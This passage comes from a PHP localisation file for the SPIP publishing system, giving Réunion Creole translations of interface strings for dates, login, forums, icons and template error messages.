'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'domin',
'date_fmt_heures_minutes' => '@h@èr@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'èr',
'date_hier' => 'yèr',
'date_il_y_a' => 'néna @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimans',
'date_jour_1_abbr' => 'dim.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'lindi',
'date_jour_2_abbr' => 'lin.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'mardi',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'mèrkrodi',
'date_jour_4_abbr' => 'mèr.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'zedi',
'date_jour_5_abbr' => 'ze.',
'date_jour_5_initiale' => 'z.',
'date_jour_6' => 'vandrodi',
'date_jour_6_abbr' => 'van.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'samdi',
'date_jour_7_abbr' => 'sam.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'bann zor',
'date_minutes' => 'minite',
'date_mois' => 'mwa',
'date_mois_1' => 'zanvié',
'date_mois_10' => 'octob',
'date_mois_11' => 'novanm',
'date_mois_12' => 'désanm',
'date_mois_2' => 'févrié',
'date_mois_3' => 'mars',
'date_mois_4' => 'avril',
'date_mois_5' => 'mé',
'date_mois_6' => 'zwin',
'date_mois_7' => 'zwiyé',
'date_mois_8' => 'out',
'date_mois_9' => 'séptanm',
'date_saison_1' => 'livèrnaz an Frans - débu la grandsézon la Réinyon ',
'date_saison_2' => 'printan fransé - find la grandsézon /débud séson sèk la Réinyon',
'date_saison_3' => 'été fransé - sézon sèk la Réinyon',
'date_saison_4' => 'otonn an Frans - find sézon sèk / débu dla grandsézon la Réinyon',
'date_semaines' => 'semèn',
'dirs_commencer' => 'pou komans fransvérité linstalasyon ',
'dirs_preliminaire' => 'Dabor : <b> Règ out bann drwa-laksé</b>',
'dirs_probleme_droits' => 'Astèr, néna inn larlik èk out bann drwa-laksé',
'dirs_repertoires_absents' => '<b>Lé pa posib giny bann répèrtwar-la : <ul>@bad_dirs@.</ul> </b>
<p>Ni pans néna inn larlik èk lékritir bann lèt maziskil o miniskil
Ogad byin néna okinn diskord ant bann zot maziskil o miniskil andann bann répèrtwar é sak lé afisé
anlèr ; si ou trouv i lé pa parèy, ardonn inn ot non bann répèrtwar-la sanm out lozisyèl FTP. Komsa lo larlik i sra pou aranzé.
<p>Kank ou lora fini ou sra kav ', # MODIF
'dirs_repertoires_suivants' => '<b>Bann répertwar-la lé pa ouvèr pou léktritir : <ul>@bad_dirs@.</ul> </b>
<p> Anserv out kliyan FTP, pou règ bann drwa-lakostaz sir sakin
répertwar-la. Lo guid linstalasyon i esplik aou, èk tout bann détay itil, kouk sa ou dwa fèr pou fé zwé bann drwa-la.
<p>Kank ou lora fini,i sra kav', # MODIF
'double_occurrence' => 'Dé lokirans', # MODIF
// E
'envoi_via_le_site' => 'Envwa samn lo sit',
'erreur' => 'Kanard',
'erreur_balise_non_fermee' => 'dernyé baliz lé pa fermé :',
'erreur_texte' => 'kanard(s)',
// F
'fichier_introuvable' => 'Fisyé-la @fichier@ ni pa kav trouv ali',
'form_deja_inscrit' => 'Ou lé déza inskri.',
'form_email_non_valide' => 'Out ladrès imèl la pa marsé.',
'form_forum_access_refuse' => 'Ou néna plid drwa pou akost dann sitwèb-la.',
'form_forum_bonjour' => 'Oté @nom@,,',
'form_forum_email_deja_enregistre' => 'Ladrès imèl-la lé déza anrozistré : ou pé anserv modpas sa-minm sak nana labitid.',
'form_forum_identifiant_mail' => 'Inn nouvo kod-lidentité la finn dèt anvwayé dann out kazimèl.',
'form_forum_identifiants' => 'Out bann kod-lidantité',
'form_forum_indiquer_nom_email' => 'Mèt isi out non èk ladrès imèl. out kod-lidantité li sava ariv talèr dann out kazimèl.',
'form_forum_login' => 'Nondkod :',
'form_forum_message_auto' => '(sa lé inn modékri otomatik)',
'form_forum_pass' => 'modpas :',
'form_forum_probleme_mail' => 'Astèr, nana inn larlik èk out imèl : lo kod-lidantité i giny pa èt anvwayé.',
'form_forum_voici1' => 'Ala out bann kod-lidantité pou mèt ansanm ek vi lo sit"@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Ala out bann kod-lidantité pou ou i propoz bann zartik si lo sitwèb "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Mersi inskri out ladrès imèl.',
'form_indiquer_nom' => 'Mersi mèt isi out non.',
'form_indiquer_nom_site' => 'Mersi mèt isi lo non out sitwèb.',
'form_pet_deja_enregistre' => 'Sitwèb-la lé déza anrozistré',
'form_pet_signature_pasprise' => 'Lé pa posib antyen pa out sinyatir.',
'form_prop_confirmer_envoi' => 'Konfirm lanvwa',
'form_prop_description' => 'Kosa i lé/arkont son lavi',
'form_prop_enregistre' => 'Out kontribusyon lé byen arivé. Li sra disponib an liyn apré lakonfirmasyon inndé responsab lo sit.',
'form_prop_envoyer' => 'Anvwa inn modékri',
'form_prop_indiquer_email' => 'Mersi mèt inn ladrès imèl sak i mars',
'form_prop_indiquer_nom_site' => 'Mersi mèt tèrla lo non lo sitwèb',
'form_prop_indiquer_sujet' => 'Mersi indik inn sizé',
'form_prop_message_envoye' => 'Out modékri la finn dèt anvwayé',
'form_prop_non_enregistre' => 'Out kontribusyion lé pa anrozistré',
'form_prop_sujet' => 'Sizé',
'form_prop_url_site' => 'Ladrès (URL) lo sitwèb', # MODIF
'forum_non_inscrit' => 'Ou lé pa inskri, kiswa out ladrès, kiswa out modpas nana kanardé.',
'forum_par_auteur' => 'sanm @auteur@',
'forum_titre_erreur' => 'Kanard...',
// I
'ical_texte_rss_articles' => 'Lo fisyé « backend » pou bann zartik lo sit-la, zot i va trouv ali si ladrès-la :',
'ical_texte_rss_articles2' => 'Ou pé osi giny bann fisyé « backend » pou tout bann zartik andan ban ribrik si lo sit-la :',
'ical_texte_rss_breves' => 'Néna in ot fisyé pou bann tite-nouvèl i sort andan lo sit. Si ou présiz lo niméro laribrik-la, i sava giny sèlman bann tite-nouvèl néna anda lo ribrik-la.',
'icone_a_suivre' => 'Pou swiv',
'icone_admin_site' => 'Kolonaz lo sitwèb',
'icone_agenda' => 'Lajinda',
'icone_aide_ligne' => 'Koudmin-wèb',
'icone_articles' => 'Bann zartik',
'icone_auteurs' => 'Bann lotèr',
'icone_brouteur' => 'Bat-karé dégazé',
'icone_configuration_site' => 'Konfigir lo sit',
'icone_configurer_site' => 'Konfigir out sitwèb',
'icone_creer_nouvel_auteur' => 'Kré in nouvo lotèr ',
'icone_creer_rubrique' => 'Kré inn rubrik',
'icone_creer_sous_rubrique' => 'Kré inn sourubrik ',
'icone_deconnecter' => 'Défalk',
'icone_discussions' => 'Bann kozman',
'icone_doc_rubrique' => 'Bann dokiman dann bann rubrik',
'icone_ecrire_article' => 'Ékri inn nouvo lartik',
'icone_edition_site' => 'Lédisyon lo sitwèb',
'icone_gestion_langues' => 'Po zéré bann lang',
'icone_informations_personnelles' => 'Ladi Lafé',
'icone_interface_complet' => 'Lintèrfas konplé',
'icone_interface_simple' => 'Lintèrfas sinp',
'icone_maintenance_site' => 'Lantrotyen lo sitwèb',
'icone_messagerie_personnelle' => 'Out kazmodékri',
'icone_repartition_debut' => 'Armontr kouk sa lé partazé dopi lorizin',
'icone_rubriques' => 'Bann rubrik',
'icone_sauver_site' => 'Sovgard lo sitwèb',
'icone_site_entier' => 'Tout sitwèb sa minm',
'icone_sites_references' => 'Inndé sitwèb référansé',
'icone_statistiques' => 'Bann sifklé lo sitwèb',
'icone_suivi_activite' => 'Po swiv lo vi lo sit',
'icone_suivi_actualite' => 'Lévolisyon lo sit',
'icone_suivi_pettions' => 'Swiv/aranz filsinyatir',
'icone_suivi_revisions' => 'Bann sanzman do bann zartik',
'icone_supprimer_document' => 'Dégrèn dokiman-la',
'icone_supprimer_image' => 'Dégrèn limaz-la',
'icone_tous_articles' => 'Tout bann zartik aou',
'icone_tous_auteur' => 'Tout bann lotèr',
'icone_visiter_site' => 'Bat-karé ', # MODIF
'icone_voir_en_ligne' => 'Vwar an liyn',
'img_indisponible' => 'zimaj-la lé pa posib giny ali',
'impossible' => 'pa posib',
'info_a_suivre' => 'POU SWIV »',
'info_acces_interdit' => 'Ou néna pwinn permisyon akost lapazwèb-la.',
'info_acces_refuse' => 'Lakostaz lapazwèb lé afronté',
'info_action' => 'Azisman : @action@',
'info_administrer_rubriques' => 'Ou pé zèr larubrik-la èk son bann sourubrik',
'info_adresse_non_indiquee' => 'Ou néna pwin mi ladrès sak i vé test astèr !',
'info_aide' => 'KOUDMIN :',
'info_ajouter_mot' => 'Azout lo mo',
'info_annonce' => 'ZANONS',
'info_annonces_generales' => 'Zanons a tout moun :',
'info_article_propose' => 'Lartik lé propozé',
'info_article_publie' => 'Lartik lé publiyé',
'info_article_redaction' => 'Lartik antrin lékritir ',
'info_article_refuse' => 'Lartik lé afronté',
'info_article_supprime' => 'Lartik lé dégréné',
'info_articles' => 'Bann zartik',
'info_articles_a_valider' => 'Bann zartik pou konfirmé',
'info_articles_proposes' => 'Bann zartik sak lé propozé',
'info_auteurs_nombre' => '(bann) lotèr :',
'info_authentification_ftp' => 'Lotantificasyon (èk FTP).',
'info_breves_2' => 'bann tit-nouvèl',
'info_connexion_refusee' => 'Lakostaz lé arfizé',
'info_contact_developpeur' => 'Mersi kontak inn dévlopèr.',
'info_contenance' => 'Dann sit-la nana :',
'info_contribution' => 'bann kontribusyon dann forom', # MODIF
'info_copyright' => '@spip@ lé inn lozisyel lib sak lé doné @lien_gpl@.',
'info_copyright_doc' => 'Pou plid zinformasyon anon vizit lo sit <a href="@spipnet@">http://www.spip.net/cpf</a>.', # MODIF
'info_copyright_gpl' => 'sou lisans GPL',
'info_cours_edition' => 'Out bann zartik lé apré lédisyon',
'info_creer_repertoire' => 'Mersi kré inn fisyé o inn répertwar èk non-la :',
'info_creer_repertoire_2' => 'andann lo sou-répertwar <b>@repertoire@</b>, é aprè :',
'info_creer_vignette' => 'pou kréy inn tite-limaz otomatikman',
'info_deplier' => 'Dépliy',
'info_descriptif_nombre' => 'Bann zafèr sak i kontyin :',
'info_description' => 'Kosa ou va trouv isi :',
'info_description_2' => 'Kosa ou va trouv isi :',
'info_dimension' => 'Dimansyon :',
'info_ecire_message_prive' => 'Pou kré inn modékri privé',
'info_email_invalide' => 'Out ladrès imèl lé pa bon.',
'info_en_cours_validation' => 'Out bann zartik-la lé apré lékritir',
'info_en_ligne' => 'An liyn astèr :',
'info_envoyer_message_prive' => 'Anvwa inn modékri privé pou lotèr-la',
'info_erreur_requete' => 'Kanard dann rokèt-la :',
'info_erreur_squelette2' => 'Néna pa okin léskélèt <b>@fichier@</b> sat lé disponib...',
'info_erreur_systeme' => 'Kanar sistèm (errno @errsys@)',
'info_erreur_systeme2' => 'Lo diksodir li sré byin po èt komplètman ragoulé o labazdodné lé gaté<br />
<span style="color:red;">Anon esayé <a href=\'@script@\'>aranzé labaz</a>, ou kontakté out lébèrzèr.</span>', # MODIF
'info_fini' => 'Astèr sa lè fini !',
'info_format_image' => 'Bann tay-zimaz ou pé itilizé pou kré out bann vinyèt : @gd_formats@.',
'info_format_non_defini' => 'forma-la lé pa kadré',
'info_grand_ecran' => 'Gran lékran',
'info_image_aide' => 'KOUDMIN',
'info_image_process_titre' => 'Koman ou pé kré bann tit-zimaz',
'info_impossible_lire_page' => '<b>Kanard !</b> Lé inposib lir pazwèb-la <tt><html>@test_proxy@</html></tt> èk lo proksi <tt>', # MODIF
'info_installation_systeme_publication' => 'Pou fé zwé (instal) lo sistèm lapiblikasyon...',
'info_installer_documents' => 'Ou pé fè zwé otomatikman tout bann dokiman sak lé prézan dann fisyé @upload@.',
'info_installer_ftp' => 'Kom komandèr, ou pé instal (èk FTP) bann fisyé dann dosyé @upload@ pou answuit swazi banna tèrla dirèkman.',
'info_installer_images' => 'Ou pé fèr zwé bann zimaz èk lo forma JPEG, GIF é minm PNG.',
'info_installer_images_dossier' => 'Instal bann zimaz dann dosyé @upload@ pou swazi azot answit, tèrla dirèkman.',
'info_interface_complete' => 'Lintèrfas konplé',
'info_interface_simple' => 'Lintèrfas sinp',
'info_joindre_document_article' => 'Dann zartik-la, ou pé zwinn inndé dokiman kom',
'info_joindre_document_rubrique' => 'Dann rubrik-la ou pé azout inndé dokiman kom',
'info_joindre_documents_article' => 'Dann out zartik ou pé zwinn inndé dokiman kom :',
'info_l_article' => 'lartik',
'info_la_breve' => 'la tit-nouvèl',
'info_la_rubrique' => 'rubrik',
'info_langue_principale' => 'Lang prinsipal lo sitwèb',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ bann piksèl',
'info_les_auteurs_1' => 'èk @les_auteurs@',
'info_logo_format_interdit' => 'Lé posib mèt sèlman bann logo dann bann forma @formats@.',
'info_logo_max_poids' => 'Fok out bann logo nena in pwa andsou @maxi@ (fichyé la li fé @actuel@).',
'info_mail_fournisseur' => 'out@fournisèr.com',
'info_message_2' => 'MODEKRI',
'info_message_supprime' => 'MODÉKRI SUPRIMÉ',
'info_mise_en_ligne' => 'Dat pou mèt an liyn :',
'info_modification_parametres_securite' => 'bann sanzman bann paramèt lasékirité',
'info_mois_courant' => 'Dann kouran lo mwa :',
'info_mot_cle_ajoute' => 'Molaklé-la la finn dèt azouté dann',
'info_multi_herit' => 'Lang laribrik anlèr',
'info_multi_langues_soulignees' => 'Bann <u>lang soulinyé </u> lé sat néna in traidksyonkomplé po tout bann tèks lintérfas SPIP. Si ou swazi bann lang-la, néna in bon péd zéléman lo sit piblik (ladat, bann formilèr) sak i aparé tradwi otomatikman. Ek tout bann lang sat lé pa soulinyé, bann zéléamn-la i aparé samn lo lang prinsipal lo sit.', # MODIF
'info_multilinguisme' => 'Miltilingwis',
'info_nom_non_utilisateurs_connectes' => 'Out non lé pa visib dann fil bann zitilizatèr an liyn.',
'info_nom_utilisateurs_connectes' => 'Out non lé vizib dann list bann zitilizatèr an liyn.',
'info_nombre_en_ligne' => 'Astèr lé an liyn :',
'info_non_resultat' => 'Nana pwinn rézilta pou "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Astèr i ansèrv pa lakazmodékri lo sitwèb.',
'info_nouveau_message' => 'OU NA INN NOUVO MODÉKRI',
'info_nouveaux_messages' => 'OU NÈNA @total_messages@ BANN MODÉKRI',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'GARDANTÈT',
'info_petit_ecran' => 'Tit ékran',
'info_pixels' => 'bann piksèl',
'info_plusieurs_mots_trouves' => 'Nana plizièr bann molaklé pou "@cherche_mot@" :',
'info_portfolio_automatique' => 'Livzimaz otomatik :',
'info_premier_resultat' => '[@debut_limit@ bann promyé rézilta si @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ bann promyé rézilta si @total@]',
'info_propose_1' => '[@nom_site_spip@] i propoz aou : @titre@',
'info_propose_2' => 'Lartik-la lé propozé
---------------',
'info_propose_3' => 'Lartik-la, "@titre@", lé propozé pou lapiblikasyon.',
'info_propose_4' => 'Anon zot lir ali è donn zot manyèr dvwar',
'info_propose_5' => 'dann forom sak i bord ali. Ou va trouv ali si ladrès-la :',
'info_publie_01' => 'Lartik "@titre@" la finn dèt konfirmé sanm @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] I PUBLIY : @titre@',
'info_publie_2' => 'Lartik-la lé pibliyé
---------',
'info_rechercher' => 'Rod',
'info_rechercher_02' => 'Rod :',
'info_remplacer_vignette' => 'Sanz lavinyèt sanswa kont out prop logo :',
'info_sans_titre_2' => 'néna pwinn titr',
'info_selectionner_fichier' => 'Ou i pé swazi in fisyé dann dosyé @upload@',
'info_selectionner_fichier_2' => 'Swazi inn fisyé :',
'info_supprimer_vignette' => 'dégrèn vinyèt-la',
'info_symbole_bleu' => 'Lo sinbol <b>blé</b> li mark <b>inn gardantèt</b> : inn modékri pour out prop lisaz.', # MODIF
'info_symbole_jaune' => 'Lo sinbol <b>zon</b> li mark <b>inn zanons pou tout bann lotèr</b> : banna i pé vwar ali an liyn ; bann komandèr i pé sanz ali.', # MODIF
'info_symbole_vert' => 'Lo sinbol <b>vèr</b> i mark <b>bann modékri èk dot bann zitilizatèr</b> lo sitwèb.', # MODIF
'info_telecharger_nouveau_logo' => 'Télésarz inn nouvo logo :',
'info_telecharger_ordinateur' => 'Télésarz dopwi out prop lordinatèr :',
'info_tous_resultats_enregistres' => '[tout bann rézilta la finn dèt anroziztré]',
'info_tout_afficher' => 'Afis tout',
'info_travaux_texte' => 'Si lo sit-la lé pa konfigiré, arvyin inn pé pli tar...',
'info_travaux_titre' => 'Sit-la lé apré travay bèrlok ou pètèt travay santyé...lé pa finn ankor astèr... ',
'info_trop_resultat' => 'Nana tro bann rézilta pou "@cherche_mot@" ; mersi kadr myé lo rodaz.',
'info_utilisation_messagerie_interne' => 'Ou ansèrv lakazmodékri lo sitwèb.',
'info_valider_lien' => 'konfirm gatir-la',
'info_verifier_image' => ', mersi gèt ankor out bann zimaz la finn dèt sarzé korèkman sir lo servèr.',
'info_vignette_defaut' => 'Vinyèt sanswa',
'info_vignette_personnalisee' => 'Out prop vinyèt',
'info_visite' => 'vizit :',
'info_vos_rendez_vous' => 'Out bann prosin randévou',
'infos_vos_pense_bete' => 'Out bann gardantèt', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afis sèlman bann zikon',
'lien_afficher_texte_icones' => 'Afis bann zikon èk lo tèks',
'lien_afficher_texte_seul' => 'Afis sèlman lo tèks',
'lien_liberer' => 'Maronn',
'lien_liberer_tous' => 'maronn tout bann zartik-la', # MODIF
'lien_nouvea_pense_bete' => 'NOUVO GARDANTÈT',
'lien_nouveau_message' => 'NOUVO MODÉKRI',
'lien_nouvelle_annonce' => 'NOUVEL ZANONS',
'lien_petitions' => 'FILSINYATIR',
'lien_popularite' => 'Koman lé populèr : @popularite@%',
'lien_racine_site' => 'RASIN LO SITWÈB',
'lien_reessayer' => 'ésèy ankor',
'lien_repondre_message' => 'Réponn modékri-la',
'lien_supprimer' => 'dégrèn',
'lien_tout_afficher' => 'Afis tout',
'lien_visite_site' => 'vizit lo sit-la',
'lien_visites' => '@visites@ bann vizit',
'lien_voir_auteur' => 'Gèt lotèr-la',
'login_acces_prive' => 'laksé pou léspas privé',
'login_autre_identifiant' => 'Akost lo sit èk inn nouvèl nondkod',
'login_cookie_accepte' => 'Mersi règl a zot navigatèr pou li asèpt azot (mwindreman pou sitwèb-la).',
'login_cookie_oblige' => 'Pou inn lidantifikasyon sir si lo sit, ou dwa asépté bann gatomakro.',
'login_deconnexion_ok' => 'Out défalkaz la finn marsé.',
'login_erreur_pass' => 'Kanard èk lo modpas.',
'login_espace_prive' => 'Léspas privé',
'login_identifiant_inconnu' => 'Lo nondkod « @login@ » li lé pa konu.',
'login_login' => 'Nondkod :',
'login_login2' => 'Nondkod (lidantifian pou lakostaz lo sitwèb) :', # MODIF
'login_login_pass_incorrect' => '(Out nondkod ou modpas lé pa korèk.)',
'login_motpasseoublie' => 'Ou la oubliyé out modpas ?',
'login_non_securise' => 'Tansyon pangar, formulèr-la lé pa sékirizé.
Si ou vé pa person i atrap out modpass si lo rézo
mersi fé zwé lo Javascript
dann out navigatèr é',
'login_nouvelle_tentative' => 'Nouvèl ésé',
'login_par_ici' => 'Ou lé anroziztré... dann kwin-la...',
'login_pass2' => 'Modpas :',
'login_preferez_refuser' => '<b>Si ou préfèr afront bann gatomakro</b>,nana inn ot sistèm lakostaz (mwin sir) sak ou pé anserv :',
'login_recharger' => 'rosarz pazwèb-la',
'login_rester_identifie' => 'Po inn lidantifikasyon i dir plisyèr zor',
'login_retour_public' => 'Artourn sir figirwèb',
'login_retour_site' => 'Artourn sir figirwèb',
'login_retoursitepublic' => 'artourn sir figirwèb',
'login_sans_cookiie' => 'Lidantifikasyon san lo gatomakro',
'login_sinscrire' => 'inskri aou',
'login_test_navigateur' => 'test navigatèr/nouvo lakostaz',
'login_verifiez_navigateur' => '(Somansa gét byin out navigatèr la pa gardantèt out modpass...)',
// M
'module_fichiers_langues' => 'Bann fisyé lang',
// N
'navigateur_pas_redirige' => 'Si out navigatèr lé pa rotourné, apiy tèrla pou kontinyé.',
// O
'onglet_affacer_base' => 'Dégrèn labazdodné',
'onglet_auteur' => 'Lotèr',
'onglet_contenu_site' => 'Sak lo sit i kontyin',
'onglet_evolution_visite_mod' => 'Sanzman',
'onglet_fonctions_avances' => 'Bann fonksyon présiz',
'onglet_informations_personnelles' => 'Bann zinformasyon lotèr',
'onglet_interactivite' => 'Kozantrozot',
'onglet_messagerie' => 'Kazmodékri',
'onglet_repartition_rubrique' => 'Partaz sanm rubrik',
'onglet_save_restaur_base' => 'Sovgard/rosarz léta labaz',
'onglet_vider_cache' => 'Dévid lo kas',
// P
'pass_choix_pass' => 'Mersi swazi out nouvo modpas :',
'pass_erreur' => 'Kanard',
'pass_erreur_acces_refuse' => '<b>Kanard :</b> out nana pli laksé sir lo sit-la.',
'pass_erreur_code_inconnu' => '<b>Kanard :</b> lo kod-la i korespon pa pou okin lotèr anroziztré si lo sit.',
'pass_erreur_non_enregistre' => '<b>Kanard :</b> ladrès-la <tt>@email_oubli@</tt> li lé pli anroziztré si lo sit-la.',
'pass_erreur_non_valide' => '<b>Kanard : /b> limèl-la <tt>@email_oubli@</tt> lé pa bon !',
'pass_erreur_probleme_technique' => '<b>Kanard :</b> akoz inn larlik tèknik, lé pa posib astèr anvwayé limèl-la.',
'pass_espace_prive_bla' => 'Léspas privé lo sit-la lé ouvèr pou tout
bann vizitèr, aprè linskrisyon. Kank ou lé anroziztré,
i pé konsilt oubyinsa propoz bann zartik.I pé osi
mèt ansanm èk bann dalon dan tout bann forom.',
'pass_forum_bla' => 'Ou la domand mèt out grindsèl dann forom
sak lé rézèrvé pou bann vizitèr anrozistré.',
'pass_indiquez_cidessous' => 'Mèt isi ladrès imèl ou la déza anservi pou anroziztr aou. Aprésa, ou sava
giny inn limèl : li indik aou lamanyir pou rékupèr out laksé.',
'pass_mail_passcookie' => '(Sa lé in modékri otomatik)
Pour ou i pé artrouv out laksé si lo sitwèb
@nom_site_spip@ (@adresse_site@)
Mersi rand aou sir ladrès la :
@sendcookie@
Aprésa, ou i poura mèt in nouvo modpas
pou rakost lo sitwèb.
',
'pass_mot_oublie' => 'Modpas oubliyé',
'pass_nouveau_enregistre' => 'Out nouvo modpas la fin dèt anroziztré.',
'pass_nouveau_pass' => 'Nouvo modpas',
'pass_ok' => 'Dakor',
'pass_oubli_mot' => 'Modpas oublyé',
'pass_quitter_fenetre' => 'Défalk finèt-la',
'pass_rappel_login' => 'Rapèl aou : out lidantifyan (nondkod) lé « @login@ ».',
'pass_recevoir_mail' => 'Ou sava giny inn limèl sak i indik aou kouk sa i pé artrouv out laksé sir lo sit.',
'pass_retour_public' => 'Artourn sir figirwèb',
'pass_rien_a_faire_ici' => 'Nana ryinn a fèr isi.',
'pass_vousinscrire' => 'Inskri aou sir lo sit',
'precedent' => 'dovan',
'previsualisation' => 'Po vwar avann komsi lé an liny',
'previsualiser' => 'Po vwar avan',
// S
'squelette' => 'léskelèt',
'squelette_inclus_ligne' => 'leskélèt dodan, liny',
'squelette_ligne' => 'léskelèt, liny',
'stats_visites_et_popularite' => '@visites@ vizit ; popularité : @popularite@',
'suivant' => 'dèryèr',
// T
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ bann zokté',
'texte_actualite_site_1' => 'Kank ou sra pli zabityé èk lo figirwèb, i poura klik sir « ',
'texte_actualite_site_2' => 'lintèrfas konplé',
'texte_actualite_site_3' => ' » pour giny plid posibilité.',
'texte_creation_automatique_vignette' => 'Lakréasyon otomatik pou bann vinyèt avwar-avan, lé an mars si lo sit-la. Si ou linstal bann zimaz dann (bann) tay @gd_formats@, dopwi formulèr-la, zimaz-la i sra prézanté èk inn vinyèt pa pli grank @taille_preview@ bann piksèl oplis.',
'texte_documents_associes' => 'Bann dokiman-la lé mi èk lartik-la,
mé zot lé pa plasé dann kor-minm lartik-la. Sélon lamanyir ou sava mèt an paz lo sit piblik,
zot i sra pou aparèt kom bann dokiman zwinn.',
'texte_erreur_mise_niveau_base' => 'Kanard do bazdodné dann tan larmizanivo .
Limaz <b>@fichier@</b> la pa pasé dann (article @id_article@).
Gard byin an tèt référans-la, ésèy inn ot fwa inn larmizanivo, é véy byin sak bann zimaz i aparé touzour dann bann zartik.', # MODIF
'texte_inc_auth_1' => 'Ou lé konu sir lo sit èk lo
nondkod <b>@auth_login@</b>, mé li lé pa/pli prézan astèr dann labaz.
Esèy', # MODIF
'texte_inc_auth_2' => 'rakost inn ot fwa',
'texte_inc_auth_3' => 'apré ou la petèt sort èk ardémar out
navigatèr.',
'texte_inc_config' => 'Bann sanzman sir bann paz-la na inn léfé importan sir lamanyir
out sit i mars. Ni konsèy aou pa tous a ryin si ou lé pa fransvérité byin abityé èk lo sistèm SPIP.
<br /><br /><b>É minm, ni konséy
aou lès lazéstyon do bann paz-la pou lo wèbmèt prinsipal.</b>', # MODIF
'texte_inc_meta_1' => 'Sistèm-la la finn trové inn larlik èk lékritir lo fisyé <code>@fichier@</code>. Mersi, kom komandèr lo sit,',
'texte_inc_meta_2' => 'vérifyé bann drwa lékritir',
'texte_inc_meta_3' => 'dann répertwar <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'apré lékritir',
'texte_statut_poubelle' => 'dann korbèy',
'texte_statut_propose_evaluation' => 'propozé pou zot zizman',
'texte_statut_publie' => 'pibliyé an liyn',
'texte_statut_refuse' => 'arfizé',
'titre_ajouter_mot_cle' => 'AZOUT INN MOLAKLÉ :',
'titre_cadre_raccourcis' => 'BANN RÉDIYON :',
'titre_changer_couleur_interface' => 'Sanz lakoulèr lintèrfas',
'titre_image_admin_article' => 'Ou pé zèr lartik-la',
'titre_image_administrateur' => 'Komandèr',
'titre_image_aide' => 'Koudmin sir léléman-la',
'titre_image_auteur_supprime' => 'Lotèr lé dégréné',
'titre_image_redacteur' => 'Lotèr san laksé',
'titre_image_redacteur_02' => 'Lotèr',
'titre_image_visiteur' => 'Vizitèr',
'titre_joindre_document' => 'POU ZWIND INN DOKIMAN',
'titre_mots_cles' => 'BANN MOLAKLÉ',
'titre_probleme_technique' => 'Pangar : inn larlik tèknik (servèr SQL) i défann permisyon lakostaz dan landrwa la. Éskiz anou.', # MODIF
'titre_publier_document' => 'PUBLIY INN DOKIMAN DANN RUBRIK-LA',
'titre_statistiques' => 'Sifklé lo sitwèb',
'titre_titre_document' => 'Lo non dokiman-la :',
'trad_reference' => '(Lartik-péi de référans)', # MODIF
// Z
'zbug_balise_b_aval' => ' : baliz B anlèr',
'zbug_balise_inexistante' => 'erreur @from@ : la balise #@balise@ n’existe pas', # MODIF
'zbug_boucle' => 'boukl',
'zbug_boucle_recursive_undef' => 'boukl rékirsiv-la lé pa défini', # MODIF
'zbug_champ_hors_boucle' => 'lo chan @champ@ lé andéor in boukl',
'zbug_champ_hors_motif' => 'Lo chan @champ@ lé an déor in boukl-motif @motif@', # MODIF
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'kritèr-la lé pa konu @critere@', # MODIF
'zbug_distant_interdit' => 'déor interdi', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons sur une table sans clef primaire atomique', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@ : néna dé définisyon', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@ : néna in "tag" sat i mank po tak in boukl.', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintask lo boukl-là lé pa korèk', # MODIF
'zbug_erreur_execution_page' => 'néna in larlik pou léxékisyon paj-la', # MODIF
'zbug_erreur_filtre' => 'Néna in kanar andan lo filt <b>« @filtre@ »</b> sat lé pa défini', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} li aplik sèlman pou bann boukl (FORUMS) ou (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'néna (bann) larlik andan léskélèt',
'zbug_info_erreur_squelette' => 'Kanar sir lo sit',
